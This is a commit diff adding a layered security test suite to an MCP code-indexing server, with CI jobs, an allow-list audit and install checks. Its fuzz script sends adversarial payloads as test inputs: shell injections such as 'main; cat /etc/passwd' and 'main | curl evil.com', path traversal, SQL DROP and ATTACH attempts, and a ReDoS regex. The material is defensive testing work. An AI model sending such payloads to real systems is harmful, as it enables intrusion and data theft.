Add 8-layer security test suite + hardening
Code-level defenses: - cbm_validate_shell_arg(): reject shell metacharacters before popen/system - SQLite authorizer: block ATTACH/DETACH at engine level - CORS localhost-only origin reflection (replaces wildcard *) - Path containment: realpath() check in get_code_snippet - process-kill restricted to server-spawned PIDs - SHA256 checksum verification in update command Security audit scripts (8 layers): - L1: Static allow-list for dangerous calls + URLs - L2: Binary string audit (URLs, payloads, credentials) - L3: Network egress monitoring via strace (Linux) - L4: Install output path + content validation - L5: Smoke test hardening (clean shutdown, residual procs) - L6: Graph UI audit (external domains, CORS, binding) - L7: MCP robustness (23 adversarial JSON-RPC payloads) - L8: Vendored integrity (checksums + dangerous call scan) CI: parallel security-static job (no build needed), binary layers in smoke jobs per-platform. Cleanup of test fixture dirs in clean.sh + .gitignore.
This commit is contained in:
@@ -57,6 +57,24 @@ jobs:
|
||||
- name: Lint
|
||||
run: scripts/lint.sh CLANG_FORMAT=clang-format-20
|
||||
|
||||
# ── Step 1b: Security audit (source-only, runs parallel with lint+tests) ──
|
||||
# No build needed — scans source files and vendored deps only.
|
||||
# Binary-level security (L2/L3/L4/L7) runs in smoke jobs per-platform.
|
||||
security-static:
|
||||
if: ${{ !inputs.skip_lint }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: "Layer 1: Static allow-list audit"
|
||||
run: scripts/security-audit.sh
|
||||
|
||||
- name: "Layer 6: UI security audit"
|
||||
run: scripts/security-ui.sh
|
||||
|
||||
- name: "Layer 8: Vendored dependency integrity"
|
||||
run: scripts/security-vendored.sh
|
||||
|
||||
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
|
||||
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
|
||||
# Linux: use system gcc — full ASan/UBSan support
|
||||
@@ -166,6 +184,10 @@ jobs:
|
||||
- name: Build UI binary
|
||||
run: scripts/build.sh --with-ui CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
|
||||
|
||||
- name: Frontend integrity scan (post-build dist/)
|
||||
if: matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-ui.sh
|
||||
|
||||
- name: Archive UI binary
|
||||
run: |
|
||||
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
|
||||
@@ -264,6 +286,22 @@ jobs:
|
||||
- name: Smoke test (${{ matrix.variant }}, ${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
run: scripts/smoke-test.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Binary string audit (${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
if: matrix.variant == 'standard'
|
||||
run: scripts/security-strings.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Install output audit (${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
if: matrix.variant == 'standard'
|
||||
run: scripts/security-install.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Network egress test (${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
if: matrix.variant == 'standard'
|
||||
run: scripts/security-network.sh ./codebase-memory-mcp
|
||||
|
||||
- name: MCP robustness test
|
||||
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-fuzz.sh ./codebase-memory-mcp
|
||||
|
||||
smoke-windows:
|
||||
if: ${{ !inputs.skip_builds }}
|
||||
needs: [build-windows]
|
||||
@@ -297,3 +335,13 @@ jobs:
|
||||
- name: Smoke test (${{ matrix.variant }}, windows-amd64)
|
||||
shell: msys2 {0}
|
||||
run: scripts/smoke-test.sh ./codebase-memory-mcp.exe
|
||||
|
||||
- name: Binary string audit (windows-amd64)
|
||||
if: matrix.variant == 'standard'
|
||||
shell: msys2 {0}
|
||||
run: scripts/security-strings.sh ./codebase-memory-mcp.exe
|
||||
|
||||
- name: Install output audit (windows-amd64)
|
||||
if: matrix.variant == 'standard'
|
||||
shell: msys2 {0}
|
||||
run: scripts/security-install.sh ./codebase-memory-mcp.exe
|
||||
|
||||
@@ -57,6 +57,23 @@ jobs:
|
||||
- name: Lint
|
||||
run: scripts/lint.sh CLANG_FORMAT=clang-format-20
|
||||
|
||||
# ── Step 1b: Security audit (source-only, runs parallel with lint+tests) ──
|
||||
# No build needed — scans source files and vendored deps only.
|
||||
# Binary-level security (L2/L3/L4/L7) runs in smoke jobs per-platform.
|
||||
security-static:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: "Layer 1: Static allow-list audit"
|
||||
run: scripts/security-audit.sh
|
||||
|
||||
- name: "Layer 6: UI security audit"
|
||||
run: scripts/security-ui.sh
|
||||
|
||||
- name: "Layer 8: Vendored dependency integrity"
|
||||
run: scripts/security-vendored.sh
|
||||
|
||||
# ── Step 2: Unit tests (ASan + UBSan) ───────────────────────
|
||||
# macOS: use cc (Apple Clang) — GCC on macOS doesn't ship ASan runtime
|
||||
# Linux: use system gcc — full ASan/UBSan support
|
||||
@@ -163,6 +180,10 @@ jobs:
|
||||
- name: Build UI binary
|
||||
run: scripts/build.sh --with-ui --version ${{ inputs.version }} CC=${{ matrix.cc }} CXX=${{ matrix.cxx }}
|
||||
|
||||
- name: Frontend integrity scan (post-build dist/)
|
||||
if: matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-ui.sh
|
||||
|
||||
- name: Archive UI binary
|
||||
run: |
|
||||
tar -czf codebase-memory-mcp-ui-${{ matrix.goos }}-${{ matrix.goarch }}.tar.gz \
|
||||
@@ -258,6 +279,22 @@ jobs:
|
||||
- name: Smoke test (${{ matrix.variant }}, ${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
run: scripts/smoke-test.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Binary string audit (${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
if: matrix.variant == 'standard'
|
||||
run: scripts/security-strings.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Install output audit (${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
if: matrix.variant == 'standard'
|
||||
run: scripts/security-install.sh ./codebase-memory-mcp
|
||||
|
||||
- name: Network egress test (${{ matrix.goos }}-${{ matrix.goarch }})
|
||||
if: matrix.variant == 'standard'
|
||||
run: scripts/security-network.sh ./codebase-memory-mcp
|
||||
|
||||
- name: MCP robustness test
|
||||
if: matrix.variant == 'standard' && matrix.goos == 'linux' && matrix.goarch == 'amd64'
|
||||
run: scripts/security-fuzz.sh ./codebase-memory-mcp
|
||||
|
||||
smoke-windows:
|
||||
needs: [build-windows]
|
||||
strategy:
|
||||
@@ -290,9 +327,19 @@ jobs:
|
||||
shell: msys2 {0}
|
||||
run: scripts/smoke-test.sh ./codebase-memory-mcp.exe
|
||||
|
||||
- name: Binary string audit (windows-amd64)
|
||||
if: matrix.variant == 'standard'
|
||||
shell: msys2 {0}
|
||||
run: scripts/security-strings.sh ./codebase-memory-mcp.exe
|
||||
|
||||
- name: Install output audit (windows-amd64)
|
||||
if: matrix.variant == 'standard'
|
||||
shell: msys2 {0}
|
||||
run: scripts/security-install.sh ./codebase-memory-mcp.exe
|
||||
|
||||
# ── Step 5: Create GitHub release ───────────────────────────
|
||||
release:
|
||||
needs: [smoke-unix, smoke-windows]
|
||||
needs: [smoke-unix, smoke-windows, security-static]
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
@@ -12,6 +12,10 @@ bin/
|
||||
*.out
|
||||
coverage.txt
|
||||
|
||||
# Test fixture temp dirs (created by C test suite in CWD instead of /tmp/)
|
||||
cbm_*/
|
||||
cli-*/
|
||||
|
||||
# IDE
|
||||
.idea/
|
||||
.vscode/
|
||||
|
||||
+16
-1
@@ -310,7 +310,7 @@ PP_OBJ_TEST = $(BUILD_DIR)/preprocessor.o
|
||||
|
||||
# ── Targets ──────────────────────────────────────────────────────
|
||||
|
||||
.PHONY: test test-foundation test-tsan cbm cbm-with-ui frontend embed clean-c lint lint-tidy lint-cppcheck lint-format
|
||||
.PHONY: test test-foundation test-tsan cbm cbm-with-ui frontend embed clean-c lint lint-tidy lint-cppcheck lint-format security
|
||||
|
||||
$(BUILD_DIR):
|
||||
mkdir -p $(BUILD_DIR)
|
||||
@@ -519,3 +519,18 @@ lint: lint-tidy lint-cppcheck lint-format
|
||||
# CI linters (no clang-tidy — platform-dependent, enforced locally via pre-commit)
|
||||
lint-ci: lint-cppcheck lint-format
|
||||
@echo "=== CI linters passed ==="
|
||||
|
||||
# ── Security audit (6 layers) ────────────────────────────────────
|
||||
|
||||
# Run all security checks: static audit, binary strings, UI, install, network
|
||||
# Requires: production binary already built (make cbm)
|
||||
security: cbm
|
||||
@echo "=== Running security audit suite ==="
|
||||
scripts/security-audit.sh
|
||||
scripts/security-strings.sh $(BUILD_DIR)/codebase-memory-mcp
|
||||
scripts/security-ui.sh
|
||||
scripts/security-install.sh $(BUILD_DIR)/codebase-memory-mcp
|
||||
scripts/security-network.sh $(BUILD_DIR)/codebase-memory-mcp
|
||||
scripts/security-fuzz.sh $(BUILD_DIR)/codebase-memory-mcp
|
||||
scripts/security-vendored.sh
|
||||
@echo "=== All security checks passed ==="
|
||||
|
||||
@@ -26,4 +26,10 @@ rm -rf "$ROOT/node_modules"
|
||||
# Generated embedded assets (regenerated by embed-frontend.sh)
|
||||
rm -f "$ROOT/src/ui/embedded_assets.c"
|
||||
|
||||
# Leftover test fixture dirs (C test suite sometimes creates these in CWD)
|
||||
find "$ROOT" -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -exec rm -rf {} + 2>/dev/null || true
|
||||
|
||||
# Leftover test fixture dirs in /tmp
|
||||
find /tmp -maxdepth 1 -type d \( -name 'cbm_*' -o -name 'cli-*' \) -user "$(id -u)" -exec rm -rf {} + 2>/dev/null || true
|
||||
|
||||
echo "=== Clean complete ==="
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# Security allow-list for dangerous function calls.
|
||||
# Format: file:function:justification
|
||||
# Lines starting with # are comments. Empty lines are ignored.
|
||||
# Any call to a listed function in a .c file under src/ that is NOT on this
|
||||
# list causes the security audit (scripts/security-audit.sh) to fail.
|
||||
|
||||
# ── Foundation: platform abstraction (defines cbm_popen wrapper) ───────────
|
||||
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
|
||||
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
|
||||
|
||||
# ── CLI: update command (user-initiated, interactive) ──────────────────────
|
||||
src/cli/cli.c:system:curl download of release binary (update cmd)
|
||||
src/cli/cli.c:system:unzip extraction on Windows (update cmd)
|
||||
src/cli/cli.c:system:version verification after update (update cmd)
|
||||
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
|
||||
src/cli/cli.c:popen:sha256 checksum computation via shasum
|
||||
|
||||
# ── Watcher: git status polling (repo paths validated via cbm_validate_shell_arg) ──
|
||||
src/watcher/watcher.c:system:git repo detection (is_git_repo)
|
||||
src/watcher/watcher.c:cbm_popen:git HEAD hash (git_head)
|
||||
src/watcher/watcher.c:cbm_popen:git working tree status (git_is_dirty)
|
||||
src/watcher/watcher.c:cbm_popen:git file count (git_file_count)
|
||||
src/watcher/watcher.c:popen:via cbm_popen wrapper calls
|
||||
|
||||
# ── MCP server: search and change detection ────────────────────────────────
|
||||
src/mcp/mcp.c:cbm_popen:search_code via grep (pattern in temp file, path validated)
|
||||
src/mcp/mcp.c:cbm_popen:detect_changes via git diff (args validated)
|
||||
src/mcp/mcp.c:cbm_popen:git ls-files count for auto-index (session_root validated)
|
||||
src/mcp/mcp.c:cbm_popen:update check to api.github.com (hardcoded URL)
|
||||
src/mcp/mcp.c:popen:via cbm_popen wrapper calls
|
||||
|
||||
# ── Pipeline: git history parsing (fallback when libgit2 not available) ────
|
||||
src/pipeline/pass_githistory.c:cbm_popen:git log for file history (path validated)
|
||||
src/pipeline/pass_githistory.c:popen:via cbm_popen wrapper call
|
||||
|
||||
# ── UI: HTTP server process management ─────────────────────────────────────
|
||||
src/ui/http_server.c:popen:ps process listing for metrics endpoint
|
||||
src/ui/http_server.c:fork:spawn indexing subprocess
|
||||
src/ui/http_server.c:execl:exec indexing binary in child process
|
||||
|
||||
# ── Allowed URLs ───────────────────────────────────────────────────────────
|
||||
# Format: URL:justification
|
||||
URL:https://api.github.com/repos/DeusData/codebase-memory-mcp/releases/latest:update check
|
||||
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest/download/:binary download + checksums
|
||||
URL:http://127.0.0.1:UI server binding (localhost only)
|
||||
Executable
+197
@@ -0,0 +1,197 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 1: Static security audit — scans C source for dangerous calls.
|
||||
# Every occurrence must be on the checked-in allow-list.
|
||||
#
|
||||
# Usage: scripts/security-audit.sh
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
ALLOWLIST="$ROOT/scripts/security-allowlist.txt"
|
||||
|
||||
if [[ ! -f "$ALLOWLIST" ]]; then
|
||||
echo "FAIL: allow-list not found: $ALLOWLIST"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Use a flag file to communicate failures from subshells
|
||||
FAIL_FLAG=$(mktemp)
|
||||
echo "0" > "$FAIL_FLAG"
|
||||
trap 'rm -f "$FAIL_FLAG"' EXIT
|
||||
|
||||
fail() {
|
||||
echo "1" > "$FAIL_FLAG"
|
||||
}
|
||||
|
||||
# ── 1. Dangerous function calls ─────────────────────────────────
|
||||
|
||||
echo "=== Layer 1: Static Security Audit ==="
|
||||
echo ""
|
||||
echo "--- Scanning for dangerous function calls ---"
|
||||
|
||||
# For each file:function pair on the allow-list, the file is allowed to contain
|
||||
# that function. Any file:function NOT on the list causes failure.
|
||||
FUNC_LIST="system popen cbm_popen execl fork"
|
||||
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
|
||||
for func in $FUNC_LIST; do
|
||||
# Build precise grep pattern to avoid substring matches:
|
||||
# 'popen(' must NOT match 'cbm_popen(' — use [^a-z] negative class
|
||||
case "$func" in
|
||||
cbm_popen) pattern="cbm_popen(" ;;
|
||||
popen) pattern="[^a-z]popen(" ;;
|
||||
system) pattern="[^a-z_]system(" ;;
|
||||
fork) pattern="[^a-z_]fork(" ;;
|
||||
*) pattern="[^a-z_]${func}(" ;;
|
||||
esac
|
||||
|
||||
# Grep for pattern, excluding comments and #define lines
|
||||
if grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' > /dev/null 2>&1; then
|
||||
if ! grep -q "^${relfile}:${func}:" "$ALLOWLIST" 2>/dev/null; then
|
||||
echo "BLOCKED: ${relfile}: contains ${func}() — not on allow-list"
|
||||
grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | head -3 | sed 's/^/ /'
|
||||
fail
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
# ── 1b. Raw network calls (must not exist) ──────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for raw network calls (must not exist) ---"
|
||||
|
||||
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\('
|
||||
if grep -rn -E "$NETWORK_FUNCS" "$ROOT/src/" --include='*.c' 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'test'; then
|
||||
echo "BLOCKED: Raw network calls found in src/."
|
||||
fail
|
||||
else
|
||||
echo "OK: No raw network calls found."
|
||||
fi
|
||||
|
||||
# ── 2. Hardcoded URLs in string literals ─────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for hardcoded URLs ---"
|
||||
|
||||
# Extract allowed URL prefixes from the allow-list
|
||||
# Format: URL:<url>:<justification>
|
||||
ALLOWED_URLS=()
|
||||
while IFS= read -r line; do
|
||||
[[ "$line" =~ ^#.*$ ]] && continue
|
||||
[[ -z "$line" ]] && continue
|
||||
if [[ "$line" =~ ^URL: ]]; then
|
||||
rest="${line#URL:}"
|
||||
# Extract URL (scheme://host/path) — stop at first colon that follows a non-slash
|
||||
if [[ "$rest" =~ ^(https?://[^[:space:]]+) ]]; then
|
||||
# The URL part extends until the justification separator
|
||||
# Use the fact that justifications follow the pattern ":word word"
|
||||
url_part="${BASH_REMATCH[1]}"
|
||||
# Remove trailing justification after last colon that precedes a space
|
||||
url_part="${url_part%%:[A-Za-z]*}"
|
||||
ALLOWED_URLS+=("$url_part")
|
||||
fi
|
||||
fi
|
||||
done < "$ALLOWLIST"
|
||||
|
||||
URL_OK=true
|
||||
|
||||
# Non-functional URL patterns to skip (comments, placeholders, comparisons, patterns)
|
||||
is_placeholder_url() {
|
||||
local url="$1"
|
||||
case "$url" in
|
||||
# Placeholder/example URLs in comments and code
|
||||
https://host/*|http://host/*) return 0 ;;
|
||||
https://...*|http://...*) return 0 ;;
|
||||
# Protocol prefix comparisons (strncmp, mg_match)
|
||||
http://) return 0 ;;
|
||||
https://) return 0 ;;
|
||||
# mg_match glob patterns with wildcards
|
||||
http://localhost:*) return 0 ;;
|
||||
http://127.0.0.1:*) return 0 ;;
|
||||
esac
|
||||
return 1
|
||||
}
|
||||
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
|
||||
# Find lines with URLs (excluding comments)
|
||||
while IFS= read -r match; do
|
||||
[[ -z "$match" ]] && continue
|
||||
|
||||
# Skip lines that are clearly comments (/* ... */ or // ...)
|
||||
line_content="${match#*:}" # Remove line number prefix
|
||||
# Skip if the URL appears only in a comment on this line
|
||||
if echo "$line_content" | grep -qE '^\s*/[/*]'; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Extract URLs using grep -oE (POSIX-compatible)
|
||||
while IFS= read -r url; do
|
||||
[[ -z "$url" ]] && continue
|
||||
|
||||
# Skip non-functional placeholder URLs
|
||||
if is_placeholder_url "$url"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
allowed=false
|
||||
for aurl in "${ALLOWED_URLS[@]+"${ALLOWED_URLS[@]}"}"; do
|
||||
if [[ "$url" == "$aurl"* ]]; then
|
||||
allowed=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! $allowed; then
|
||||
echo "BLOCKED: ${relfile}: URL not on allow-list: $url"
|
||||
fail
|
||||
URL_OK=false
|
||||
fi
|
||||
done < <(echo "$match" | grep -oE 'https?://[A-Za-z0-9._/~:@!$&()*+,;=?#%-]+' || true)
|
||||
done < <(grep -n 'https\?://' "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' || true)
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
if $URL_OK; then
|
||||
echo "OK: All URLs are on the allow-list."
|
||||
fi
|
||||
|
||||
# ── 3. File writes outside expected paths ────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for unexpected file writes in src/ ---"
|
||||
|
||||
FOPEN_FOUND=false
|
||||
while IFS= read -r match; do
|
||||
[[ -z "$match" ]] && continue
|
||||
file=$(echo "$match" | cut -d: -f1)
|
||||
relfile="${file#"$ROOT/"}"
|
||||
case "$relfile" in
|
||||
src/cli/cli.c|src/store/store.c|src/pipeline/*.c|src/foundation/log.c|src/ui/http_server.c|src/ui/config.c|src/mcp/mcp.c)
|
||||
;; # Known safe
|
||||
*)
|
||||
echo "REVIEW: ${match}"
|
||||
echo " -> Unexpected fopen(\"w\") in ${relfile}"
|
||||
FOPEN_FOUND=true
|
||||
;;
|
||||
esac
|
||||
done < <(grep -rn 'fopen.*"w' "$ROOT/src/" --include='*.c' 2>/dev/null | grep -v '/test' | grep -v '^\s*//' || true)
|
||||
|
||||
if ! $FOPEN_FOUND; then
|
||||
echo "OK: All file writes are in expected locations."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
RESULT=$(cat "$FAIL_FLAG")
|
||||
if [[ "$RESULT" != "0" ]]; then
|
||||
echo "=== SECURITY AUDIT FAILED ==="
|
||||
echo "Fix the issues above or add entries to scripts/security-allowlist.txt with justifications."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Security audit passed ==="
|
||||
Executable
+130
@@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 7: MCP robustness test — sends adversarial JSON-RPC payloads via stdio.
|
||||
#
|
||||
# Verifies the MCP server handles malformed, oversized, and crafted inputs
|
||||
# without crashing. Each payload is sent as a complete session (init + payload + EOF).
|
||||
#
|
||||
# Usage: scripts/security-fuzz.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-fuzz.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 7: MCP Robustness Test ==="
|
||||
|
||||
FAIL=0
|
||||
PASS=0
|
||||
TOTAL=0
|
||||
|
||||
# Temp directory for input files (avoids pipe/stdin issues with timeout)
|
||||
FUZZ_TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
|
||||
|
||||
# Helper: send a payload to the MCP server and check it doesn't crash.
|
||||
# Uses temp file + perl alarm for portable timeout (works on macOS + Linux).
|
||||
test_payload() {
|
||||
local name="$1"
|
||||
local payload="$2"
|
||||
TOTAL=$((TOTAL + 1))
|
||||
|
||||
# Write session input to a temp file (avoids pipe/stdin issues)
|
||||
local tmpinput="$FUZZ_TMPDIR/input_${TOTAL}.jsonl"
|
||||
printf '%s\n%s\n%s\n' \
|
||||
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}' \
|
||||
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
|
||||
"$payload" > "$tmpinput"
|
||||
|
||||
# Run with 10s timeout: GNU timeout → perl alarm fallback
|
||||
local ec=0
|
||||
if command -v timeout &>/dev/null; then
|
||||
timeout 10 "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
|
||||
else
|
||||
perl -e 'alarm(10); exec @ARGV' -- "$BINARY" < "$tmpinput" > /dev/null 2>&1 || ec=$?
|
||||
fi
|
||||
|
||||
# Acceptable exits:
|
||||
# 0 = clean shutdown on EOF
|
||||
# 141 = SIGPIPE (pipe closed while writing — normal for stdio MCP)
|
||||
# 142 = SIGALRM (perl timeout — hung process, same as GNU timeout 124)
|
||||
# 124 = GNU timeout
|
||||
if [[ $ec -eq 0 || $ec -eq 141 ]]; then
|
||||
PASS=$((PASS + 1))
|
||||
elif [[ $ec -eq 124 || $ec -eq 142 ]]; then
|
||||
echo "FAIL: $name — timed out (hung for 10s)"
|
||||
FAIL=$((FAIL + 1))
|
||||
else
|
||||
echo "FAIL: $name — crashed with exit code $ec"
|
||||
FAIL=$((FAIL + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
echo ""
|
||||
echo "--- Malformed JSON ---"
|
||||
|
||||
test_payload "empty line" ""
|
||||
test_payload "garbage" "not json at all"
|
||||
test_payload "truncated json" '{"jsonrpc":"2.0","id":2,"met'
|
||||
test_payload "null byte in json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test\u0000evil"}}}'
|
||||
test_payload "missing method" '{"jsonrpc":"2.0","id":2}'
|
||||
test_payload "missing id" '{"jsonrpc":"2.0","method":"tools/call"}'
|
||||
test_payload "wrong jsonrpc version" '{"jsonrpc":"1.0","id":2,"method":"tools/call","params":{}}'
|
||||
test_payload "array instead of object" '[1,2,3]'
|
||||
test_payload "deeply nested json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":{"a":{"b":{"c":{"d":{"e":{"f":"deep"}}}}}}}}}'
|
||||
|
||||
echo ""
|
||||
echo "--- Oversized inputs ---"
|
||||
|
||||
# 1MB string argument
|
||||
HUGE=$(python3 -c "print('A' * 1048576)" 2>/dev/null || python3.9 -c "print('A' * 1048576)" 2>/dev/null || echo "AAAA")
|
||||
test_payload "1MB name_pattern" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"search_graph\",\"arguments\":{\"name_pattern\":\"$HUGE\"}}}"
|
||||
|
||||
# Very long tool name
|
||||
test_payload "1000-char tool name" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"$(python3 -c "print('x' * 1000)" 2>/dev/null || echo 'xxxx')\",\"arguments\":{}}}"
|
||||
|
||||
echo ""
|
||||
echo "--- Tool-specific adversarial inputs ---"
|
||||
|
||||
# search_graph with regex that could cause ReDoS
|
||||
test_payload "ReDoS regex" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"(a+)+$"}}}'
|
||||
|
||||
# query_graph with SQL injection attempts
|
||||
test_payload "SQL injection in query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n; DROP TABLE nodes; --"}}}'
|
||||
test_payload "ATTACH attempt via query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"ATTACH DATABASE '"'"'/tmp/evil.db'"'"' AS evil"}}}'
|
||||
|
||||
# detect_changes with shell metacharacters in base_branch
|
||||
test_payload "shell injection in base_branch" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main'\''$(whoami)'\''","project":"nonexistent"}}}'
|
||||
test_payload "shell injection semicolon" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main; cat /etc/passwd","project":"nonexistent"}}}'
|
||||
test_payload "shell injection pipe" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main | curl evil.com","project":"nonexistent"}}}'
|
||||
|
||||
# get_code_snippet with path traversal
|
||||
test_payload "path traversal in qualified_name" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_code_snippet","arguments":{"qualified_name":"../../../../etc/passwd"}}}'
|
||||
|
||||
# search_code with shell metacharacters in file_pattern
|
||||
test_payload "shell injection in file_pattern" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_code","arguments":{"pattern":"test","file_pattern":"*.py'\'' ; cat /etc/passwd #"}}}'
|
||||
|
||||
# index_repository with non-existent path (should return error, not crash)
|
||||
test_payload "index nonexistent path" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"index_repository","arguments":{"repo_path":"/nonexistent/path/abc123"}}}'
|
||||
|
||||
# Negative/zero values for numeric params
|
||||
test_payload "negative limit" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test","limit":-1}}}'
|
||||
test_payload "zero max_depth" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"trace_call_path","arguments":{"function_name":"test","max_depth":0}}}'
|
||||
test_payload "huge max_rows" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n","max_rows":999999999}}}'
|
||||
|
||||
echo ""
|
||||
echo "--- Results ---"
|
||||
echo " $PASS/$TOTAL passed"
|
||||
|
||||
if [[ $FAIL -gt 0 ]]; then
|
||||
echo " $FAIL FAILED"
|
||||
echo ""
|
||||
echo "=== MCP ROBUSTNESS TEST FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== MCP robustness test passed ==="
|
||||
Executable
+169
@@ -0,0 +1,169 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 4: Install output audit — verifies install --dry-run writes only to expected paths.
|
||||
#
|
||||
# Checks:
|
||||
# 1. All output file paths are in the expected set
|
||||
# 2. No writes to sensitive directories (~/.ssh, ~/.gnupg, ~/.aws, /etc, /usr)
|
||||
# 3. Skill file content contains no dangerous patterns
|
||||
#
|
||||
# Usage: scripts/security-install.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-install.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 4: Install Output Audit ==="
|
||||
|
||||
TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$TMPDIR"' EXIT
|
||||
|
||||
# Set HOME to tmpdir so install writes there instead of real home
|
||||
export HOME="$TMPDIR/home"
|
||||
mkdir -p "$HOME"
|
||||
|
||||
FAIL=0
|
||||
|
||||
# ── 1. Run install and capture written files ─────────────────────
|
||||
|
||||
echo "--- Running install -y ---"
|
||||
|
||||
# Run install (non-interactive with -y flag)
|
||||
"$BINARY" install -y > "$TMPDIR/install_output.txt" 2>&1 || true
|
||||
|
||||
echo "Install output:"
|
||||
cat "$TMPDIR/install_output.txt"
|
||||
echo ""
|
||||
|
||||
# ── 2. Verify written paths are in expected set ──────────────────
|
||||
|
||||
echo "--- Verifying written file paths ---"
|
||||
|
||||
# Find all files created under HOME
|
||||
find "$HOME" -type f > "$TMPDIR/created_files.txt" 2>/dev/null || true
|
||||
|
||||
# Expected path patterns (relative to HOME):
|
